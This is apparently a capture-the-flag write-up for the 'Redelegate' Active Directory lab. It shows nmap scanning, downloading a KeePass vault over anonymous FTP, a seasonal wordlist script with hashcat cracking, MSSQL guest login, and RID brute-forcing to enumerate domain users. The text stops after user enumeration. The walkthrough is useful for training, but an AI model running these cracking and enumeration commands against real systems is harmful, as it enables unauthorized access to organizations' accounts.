Overview
The machine starts by anonymous FTP access that leaks a password-protected KeePass database and a training memo hinting at a weak password pattern, cracking the vault to get credentials for MSSQL Guest access to enumerate domain users via SID/RID brute-forcing, password spraying the leaked KeePass master password to get a foothold as a low-privileged user who has ForceChangePassword over another account to get winrm access to find that user holds SeEnableDelegationPrivilege and GenericAll over a computer object, abusing both to configure constrained delegation and impersonate the domain controller's machine account via S4U2Proxy to get shell as Administrator
Enumeration
Start with nmap scan
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ nmap -sC -sV -vv -oA init 10.129.234.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-06-19 20:28 PDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:28
Completed NSE at 20:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:28
Completed NSE at 20:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:28
Completed NSE at 20:28, 0.00s elapsed
Initiating Ping Scan at 20:28
Scanning 10.129.234.50 [2 ports]
Completed Ping Scan at 20:28, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:28
Completed Parallel DNS resolution of 1 host. at 20:28, 0.10s elapsed
Initiating Connect Scan at 20:28
Scanning 10.129.234.50 [1000 ports]
Discovered open port 21/tcp on 10.129.234.50
Discovered open port 135/tcp on 10.129.234.50
Discovered open port 445/tcp on 10.129.234.50
Discovered open port 3389/tcp on 10.129.234.50
Discovered open port 53/tcp on 10.129.234.50
Discovered open port 139/tcp on 10.129.234.50
Discovered open port 80/tcp on 10.129.234.50
Increasing send delay for 10.129.234.50 from 0 to 5 due to 35 out of 115 dropped probes since last increase.
Discovered open port 1433/tcp on 10.129.234.50
Discovered open port 636/tcp on 10.129.234.50
Discovered open port 3268/tcp on 10.129.234.50
Discovered open port 88/tcp on 10.129.234.50
Discovered open port 593/tcp on 10.129.234.50
Discovered open port 389/tcp on 10.129.234.50
Discovered open port 464/tcp on 10.129.234.50
Discovered open port 3269/tcp on 10.129.234.50
Completed Connect Scan at 20:28, 10.98s elapsed (1000 total ports)
Initiating Service scan at 20:28
Scanning 15 services on 10.129.234.50
Completed Service scan at 20:29, 15.05s elapsed (15 services on 1 host)
NSE: Script scanning 10.129.234.50.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:29
NSE: [ftp-bounce 10.129.234.50:21] PORT response: 501 Server cannot accept argument.
Completed NSE at 20:29, 9.21s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:29
Completed NSE at 20:29, 6.80s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Nmap scan report for 10.129.234.50
Host is up, received syn-ack (0.14s latency).
Scanned at 2026-06-19 20:28:48 PDT for 42s
Not shown: 985 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24 01:11AM 434 CyberAudit.txt
| 10-20-24 05:14AM 2622 Shared.kdbx
| _10-20-24 01:26AM 580 TrainingAgenda.txt
| ftp-syst:
| _ SYST: Windows_NT
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| _http-server-header: Microsoft-IIS/10.0
| _http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
| _ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-06-20 03:29:06Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
| _ssl-date: 2026-06-20T03:29:24+00:00; 0s from scanner time.
| _ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| _ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-20T03:27:53
| Not valid after: 2056-06-20T03:27:53
| MD5: 38ef:e16f:ea11:4857:55eb:2707:06ba:486a
| SHA-1: 5a5a:94e8:2ecf:c62d:6c5c:3f0f:a917:0360:e90d:6faf
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQKaf7Im+hyJ1Gv8iLsxuPojANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwNjIwMDMyNzUzWhgPMjA1NjA2MjAwMzI3NTNaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAP1xwkL1
| ATvv6PShVH3p9pHcziEr8UvdZ1RtVCLUB2/S0CICooe0u92SNuAIDeD6OLZ59/cq
| TRtjLKiFc1XL3IFrwr14n/OqBiViwwSetS40hnSek//DeHlXEBGX7PREDeAi8jdg
| /mAigHiAiqzjlBMuGyYN9SwAwm0xlQ6OTXAsIyDiqJYKvkOjMxt/xjzHJisMUexw
| 2OrGPbBbGfv9HaFFGpqkj9yL6npDQW+O/aegFV6YSU8M3SA7ciElSyO5xZ3/YvFM
| MueqVqRiWCltCgjIEzCBbf+C12eHlvvI2OjZzqZAwChmdnF76PhY1Ms6nBgTsJtY
| tzh9AXZnbF4RnI0CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEA5+q1W9y7270TY1OD
| 9Kg2x6Knjzv4XNBV8uxav9zS6kv6hThLQ07cOmJF6dxiQOALw70BG+fBcKc4dVs+
| QJB5SO7EHgPh0us0ouRhwDRJLHdVnfj0Nb0772ql2XrPu+bWpPL8DM3dLTxLHmo0
| rpNF/zJH/ZazMyj5YUWsIiuLSqqqsPBuG2ut1donUTkykQrx7PyCRMNm27TeTA5k
| COgG2LvnAp9HzRFeC/VI0I3mRWvs3Ah3uorIt5C7ZHeleUSuEL7STKklLLSR7i+6
| X2IW7VFZKRunO0mgj+CfdMM9xtr4tXa/+MpGz0OOYf4dQD7P2Hk+tmghhqBnib8s
| rQfueg==
| _-----END CERTIFICATE-----
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Issuer: commonName=dc.redelegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-06-19T03:25:36
| Not valid after: 2026-12-19T03:25:36
| MD5: b3a4:f886:5037:0abc:f6ad:f54f:e214:b746
| SHA-1: 0c1e:0157:6f17:9ac3:367c:2f8b:95f6:2e6a:2b23:cefd
| -----BEGIN CERTIFICATE-----
| MIIC5DCCAcygAwIBAgIQFh4z/nRqV4NGWSTUUnKsNDANBgkqhkiG9w0BAQsFADAb
| MRkwFwYDVQQDExBkYy5yZWRlbGVnYXRlLnZsMB4XDTI2MDYxOTAzMjUzNloXDTI2
| MTIxOTAzMjUzNlowGzEZMBcGA1UEAxMQZGMucmVkZWxlZ2F0ZS52bDCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBANCt3ZB/AvXaGrZnb8P2REAcET8/fPwG
| ljXMR9l2OTP2w3ISmctDde6lsZpEYzZ5yOMnbHdzJGqf6AOy98acDYQF2ZETI5hG
| LQnAPCmEHXiLOfjX79IQRSE+sf8UbM3Wk+pN0jo/CE9Ix6DwTHS9Ek1XFx3r/BEL
| DEVZebhOXx4KrhqXRCljuXjTdZAD8uln0id8qE3ga3cFuQEgjpPztyHTEANdxV8a
| 0PFruLxit3An8dHPewireCo5ciTATKSHgm++8u+Nzi2YOqsvqxFJ75oVudWQdfHt
| //kP8QlaAD9W8vqO9353AjTBA8oaQE1UOvNnCwx9nStSFvWPigxg+tECAwEAAaMk
| MCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEB
| CwUAA4IBAQDLWTutsMUwQ/9nBHUqJ2GLaITmapqvszQGNYTpK6uhttPtZXDs7eXS
| qeDIivq7tRHfM3zcw4nuyVtpBfCYX1wimUP+0f1k778Q/mqfq6yeIuSjYQ9WY53U
| BvFR5qnDU4sMqHcmYuOwX3UkSeCcTsde4clPMgFAG9xWSuVTRDB8lIRQvQj/O+yl
| o5lDhbDOML8RKuKLQbt+TKSnQFbSja2XNb/ETvPxDrq0RUngZXOx06+q07qmKZOQ
| Bc0lkn07F1/WI1vPF5geaOwi6xsKRYRoo2Vk4UOnk8hGJHgfU0ZV5owB5M52tXbs
| lZGR9vddgsrrSTLKOdFLDtMnv9podMsv
| _-----END CERTIFICATE-----
| _ssl-date: 2026-06-20T03:29:23+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: REDELEGATE
| NetBIOS_Domain_Name: REDELEGATE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: redelegate.vl
| DNS_Computer_Name: dc.redelegate.vl
| DNS_Tree_Name: redelegate.vl
| Product_Version: 10.0.20348
| _ System_Time: 2026-06-20T03:29:15+00:00
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-20T03:29:15
| _ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 41886/tcp): CLEAN (Couldn't connect)
| Check 2 (port 11449/tcp): CLEAN (Couldn't connect)
| Check 3 (port 15429/udp): CLEAN (Failed to receive data)
| Check 4 (port 40493/udp): CLEAN (Timeout)
| _ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
| _ Message signing enabled and required
| _clock-skew: mean: 0s, deviation: 0s, median: -1s
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:29
Completed NSE at 20:29, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.26 seconds
this is obviously AD environment
- FTP with Anonymous login enabled
- SMB but Guest account is disabled
- MSSQL running on port 1443
- domain name is
redelgate.vland the FQDN isdc.redelegate.vl
lets setup the environment
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ echo '10.129.234.50 dc dc.redelegated.vl redelegated.vl' | sudo tee -a /etc/hosts
10.129.234.50 dc dc.redelegate.vl redelegate.vl
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ sudo nxc smb 10.129.234.50 -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.129.234.50 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.50 445 DC [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.129.234.50 445 DC [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.129.234.50 445 DC [+] redelegate.vl\:
FTP
FTP files
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ ftp Anonymous@10.129.234.50
Connected to 10.129.234.50.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||60880|)
125 Data connection already open; Transfer starting.
10-20-24 01:11AM 434 CyberAudit.txt
10-20-24 05:14AM 2622 Shared.kdbx
10-20-24 01:26AM 580 TrainingAgenda.txt
226 Transfer complete.
ftp> mget *
mget CyberAudit.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||60882|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************| 434 2.90 KiB/s 00:00 ETA
226 Transfer complete.
434 bytes received in 00:00 (1.92 KiB/s)
mget Shared.kdbx [anpqy?]? y
229 Entering Extended Passive Mode (|||60883|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************| 2622 8.58 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 10 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
2622 bytes received in 00:00 (6.88 KiB/s)
mget TrainingAgenda.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||60884|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************************************************************| 580 3.87 KiB/s 00:00 ETA
226 Transfer complete.
580 bytes received in 00:00 (2.58 KiB/s)
the audit files doesn't leak a lot
cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
[*] Remediation steps:
1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS
but the training agenda leaks that this SeasonYear! format of password is weak (probably they've seen it before in the domain)
cat TrainingAgenda.txt
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)
Friday 4th October | 14.30 - 16.30 - 53 attendees
"Don't take the bait" - How to better understand phishing emails and what to do when you see one
Friday 11th October | 15.30 - 17.30 - 61 attendees
"Social Media and their dangers" - What happens to what you post online?
Friday 18th October | 11.30 - 13.30 - 7 attendees
"Weak Passwords" - Why "SeasonYear!" is not a good password
Friday 25th October | 9.30 - 12.30 - 29 attendees
"What now?" - Consequences of a cyber attack and how to mitigate them
KDBX file
the third file was the KDBX itself and we know it is always password protected (that's the whole point of it)

I started cracking using rockyou list but it took a lot of time with no hits so i went back to the format we found earlier
wrote this script to generate a list of all the format starting from 2018 to 2026 (didn't know the box was released 2025)
seasons = ["summer", "fall", "spring", "winter"]
years = [2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026]
with open("possible.txt", "w") as p:
for season in seasons:
for year in years:
word = season + str(year) + "!"
p.write(f"{word}\n")
print(word)
then generated a list
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ python3 list.py
summer2018!
summer2019!
summer2020!
summer2021!
summer2022!
summer2023!
summer2024!
summer2025!
summer2026!
fall2018!
fall2019!
fall2020!
fall2021!
fall2022!
fall2023!
fall2024!
fall2025!
fall2026!
spring2018!
spring2019!
spring2020!
spring2021!
spring2022!
spring2023!
spring2024!
spring2025!
spring2026!
winter2018!
winter2019!
winter2020!
winter2021!
winter2022!
winter2023!
winter2024!
winter2025!
winter2026!
starting to crack it but it didn't work
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ hashcat -a 0 -m 13400 keepass.hash possible.txt
hashcat (v7.1.2-382-g2d71af371) starting
< SNIP>
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13400 (KeePass (KDBX v2/v3))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...ca4e19
Time.Started.....: Fri Jun 19 21:15:40 2026 (2 secs)
Time.Estimated...: Fri Jun 19 21:15:42 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (possible.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 15 H/s (3.69ms) @ Accel:64 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 36/36 (100.00%)
Rejected.........: 0/36 (0.00%)
Restore.Point....: 36/36 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-600000
Candidate.Engine.: Device Generator
Candidates.#01...: summer2018! -> winter2026!
Hardware.Mon.#01.: Util: 95%
Started: Fri Jun 19 21:15:38 2026
Stopped: Fri Jun 19 21:15:44 2026
so i went back to capitalize the first character of the seasons as it is in the found format
seasons = ["summer", "fall", "spring", "winter"]
years = [2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026]
with open("possible.txt", "w") as p:
for season in seasons:
for year in years:
word = season.capitalize() + str(year) + "!"
p.write(f"{word}\n")
print(word)
but it also failed
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ python3 list.py
Summer2018!
Summer2019!
Summer2020!
Summer2021!
Summer2022!
Summer2023!
Summer2024!
Summer2025!
Summer2026!
Fall2018!
Fall2019!
Fall2020!
Fall2021!
Fall2022!
Fall2023!
Fall2024!
Fall2025!
Fall2026!
Spring2018!
Spring2019!
Spring2020!
Spring2021!
Spring2022!
Spring2023!
Spring2024!
Spring2025!
Spring2026!
Winter2018!
Winter2019!
Winter2020!
Winter2021!
Winter2022!
Winter2023!
Winter2024!
Winter2025!
Winter2026!
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ hashcat -a 0 -m 13400 keepass.hash possible.txt
hashcat (v7.1.2-382-g2d71af371) starting
< SNIP>
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13400 (KeePass (KDBX v2/v3))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...ca4e19
Time.Started.....: Fri Jun 19 21:17:43 2026 (2 secs)
Time.Estimated...: Fri Jun 19 21:17:45 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (possible.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 15 H/s (3.68ms) @ Accel:56 Loops:1000 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 36/36 (100.00%)
Rejected.........: 0/36 (0.00%)
Restore.Point....: 36/36 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-600000
Candidate.Engine.: Device Generator
Candidates.#01...: Summer2018! -> Winter2026!
Hardware.Mon.#01.: Util: 96%
Started: Fri Jun 19 21:17:41 2026
Stopped: Fri Jun 19 21:17:47 2026
at this point I knew that we have to crack the file and I was sure one of the passwords in the list otherwise why would they leave that note so i went back and redownloaded the file cause the first time i downloaded it, I didn't switch to binary mode
and it cracked as you can see
└──╼ [★]$ hashcat -a 0 -m 13400 keepass.binary.hash possible.txt --user
hashcat (v7.1.2-382-g2d71af371) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz, 1453/2907 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (1646 MB free)
Dictionary cache hit:
* Filename..: possible.txt
* Passwords.: 36
* Bytes.....: 414
* Keyspace..: 36
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Hashcat is expecting at least 122 base words but only got 29.5% of that.
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca:Fall2024!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13400 (KeePass (KDBX v2/v3))
Hash.Target......: $keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8...4502ca
Time.Started.....: Fri Jun 19 21:31:28 2026 (3 secs)
Time.Estimated...: Fri Jun 19 21:31:31 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (possible.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 12 H/s (4.50ms) @ Accel:61 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 36/36 (100.00%)
Rejected.........: 0/36 (0.00%)
Restore.Point....: 0/36 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-600000
Candidate.Engine.: Device Generator
Candidates.#01...: Summer2018! -> Winter2026!
Hardware.Mon.#01.: Util: 89%
Started: Fri Jun 19 21:31:26 2026
Stopped: Fri Jun 19 21:31:33 2026
this is the same password failed (but this is the ASCII version of the file)

Same password used but this time on the binary file and it opened

just so you can get the point these are 2 different hashes, why this happens ? because in ASCII mode FTP mangles the byte sequence with newline translation meaning the 0x0A ↔ 0x0D 0x0A which corrupts the binary .kdbx file, so keepass2john generates a hash from a corrupted file that'll never crack
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ keepass2john Shared.kdbx | tee keepass.binary.hash
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ cat keepass.*
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca4e19
MSSQL as SQLGuest

so lets login with those credentials
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ mssqlclient.py redelegated.vl/SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SQLGuest guest@master)>
enumerating the Database, all DBs are standard and no impersonation or xp privilege (makes sense we are Guest)
we also can't enumerate system files using xp_dirtree but we can leak NTLMv2 hash of whoever runs the mssql client to invoking outbound SMB to our server
trying to crack this doesn't work
MSSQL can be used to enumerate users, cause there is a way internally for this to happen lets explain it quickly, there is a function called SUSER_SID that takes a principal and returns its SID in hexa format as you can see
SQL (SQLGuest guest@master)> SELECT SUSER_SID('REDELEGATE\Domain Admins')
-----------------------------------------------------------
b'010500000000000515000000a185deefb22433798d8e847a00020000'
so the tools request the SID for a user they are sure it exist, just to get the domain SID and start brute-forcing the RID
but if we just can brute the RID how do we get a username back to us, that's because there is another function called SUSER_SNAME() that maps SIDs to usernames so if there is an account linked to that SID it'll be returned
for example this SID 010500000000000515000000a185deefb22433798d8e847a00020000 will be resolved to S-1-5-21-4024337825-2033394866-2055507597-512 so the domain SID is S-1-5-21-4024337825-2033394866-2055507597 now lets try to get the username with the RID 1106 for example
the function SUSER_SNAME accepts binary SID so lets convert it
import struct
sid_str = "S-1-5-21-4024337825-2033394866-2055507597-1106"
parts = sid_str.split('-')
revision = int(parts[1])
auth = int(parts[2])
sub_auths = [int(x) for x in parts[3:]]
sid_bytes = struct.pack('<BB', revision, len(sub_auths))
sid_bytes += struct.pack('>Q', auth)[2:] # 6-byte authority, big-endian
for sa in sub_auths:
sid_bytes += struct.pack('<I', sa) # little-endian sub-authorities
print('0x' + sid_bytes.hex())
so running this script gives us this 0x010500000000000515000000a185deefb22433798d8e847a52040000
lets use this to know which user mapped to this
SQL (SQLGuest guest@master)> SELECT SUSER_SNAME(0x010500000000000515000000a185deefb22433798d8e847a52040000)
----------------------
REDELEGATE\Helen.Frost
and it is the user Helen.Frost as you can see
back to the box lets get a list of users but automatically
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/redelegated]
└──╼ [★]$ nxc mssql 10.129.234.50 -u SQLGuest -p zDPBpaF4FywlqIv11vii --rid-brute --local-auth
MSSQL 10.129.234.50 1433 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (EncryptionReq:False)
MSSQL 10.129.234.50 1433 DC [+] DC\SQLGuest:zDPBpaF4FywlqIv11vii
MSSQL 10.129.234.50 1433 DC 498: REDELEGATE\Enterprise Read-only Domain Controllers
MSSQL 10.129.234.50 1433 DC 500: WIN-Q13O908QBPG\Administrator
MSSQL 10.129.234.50 1433 DC 501: REDELEGATE\Guest
MSSQL 10.129.234.50 1433 DC 502: REDELEGATE\krbtgt
MSSQL 10.129.234.50 1433 DC 512: REDELEGATE\Domain Admins
MSSQL 10.129.234.50 1433 DC 513: REDELEGATE\Domain Users
MSSQL 10.129.234.50 1433 DC 514: REDELEGATE\Domain Guests
MSSQL 10.129.234.50 1433 DC 515: REDELEGATE\Domain Computers
MSSQL 10.129.234.50 1433 DC 516: REDELEGATE\Domain Controllers
MSSQL 10.129.234.50 1433 DC 517: REDELEGATE\Cert Publishers
MSSQL 10.129.234.50 1433 DC 518: REDELEGATE\Schema Admins
MSSQL 10.129.234.50 1433 DC 519: REDELEGATE\Enterprise Admins
MSSQL 10.129.234.50 1433 DC 520: REDELEGATE\Group Policy Creator Owners
MSSQL 10.129.234.50 1433 DC 521: REDELEGATE\Read-only Domain Controllers
MSSQL 10.129.234.50 1433 DC 522: REDELEGATE\Cloneable Domain Controllers
MSSQL 10.129.234.50 1433 DC 525: REDELEGATE\Protected Users
MSSQL 10.129.234.50 1433 DC 526: REDELEGATE\Key Admins
MSSQL 10.129.234.50 1433 DC 527: REDELEGATE\Enterprise Key Admins
MSSQL 10.129.234.50 1433 DC 553: REDELEGATE\RAS and IAS Servers
MSSQL 10.129.234.50 1433 DC 571: REDELEGATE\Allowed RODC Password Replication Group
MSSQL 10.129.234.50 1433 DC 572: REDELEGATE\Denied RODC Password Replication Group
MSSQL 10.129.234.50 1433 DC 1000: REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
MSSQL 10.129.234.50 1433 DC 1002: REDELEGATE\DC$
MSSQL 10.129.234.50 1433 DC 1103: REDELEGATE\FS01$
MSSQL 10.129.234.50 1433 DC 1104: REDELEGATE\Christine.Flanders
MSSQL 10.129.234.50 1433 DC 1105: REDELEGATE\Marie.Curie
MSSQL 10.129.234.50 1433 DC 1106: REDELEGATE\Helen.Frost
MSSQL 10.129.234.50 1433 DC 1107: REDELEGATE\Michael.Pontiac
MSSQL 10.129.234.50 1433 DC 1108: REDELEGATE\Mallory.Roberts
MSSQL 10.129.234.50 1433 DC 1109: REDELEGATE\James.Dinkleberg
MSSQL 10.129.234.50 1433 DC 1112: REDELEGATE\Helpdesk
MSSQL 10.129.234.50 1433 DC 1113: REDELEGATE\IT
MSSQL 10.129.234.50 1433 DC 1114: REDELEGATE\Finance
MSSQL 10.129.234.50 1433 DC 1115: REDELEGATE\DnsAdmins
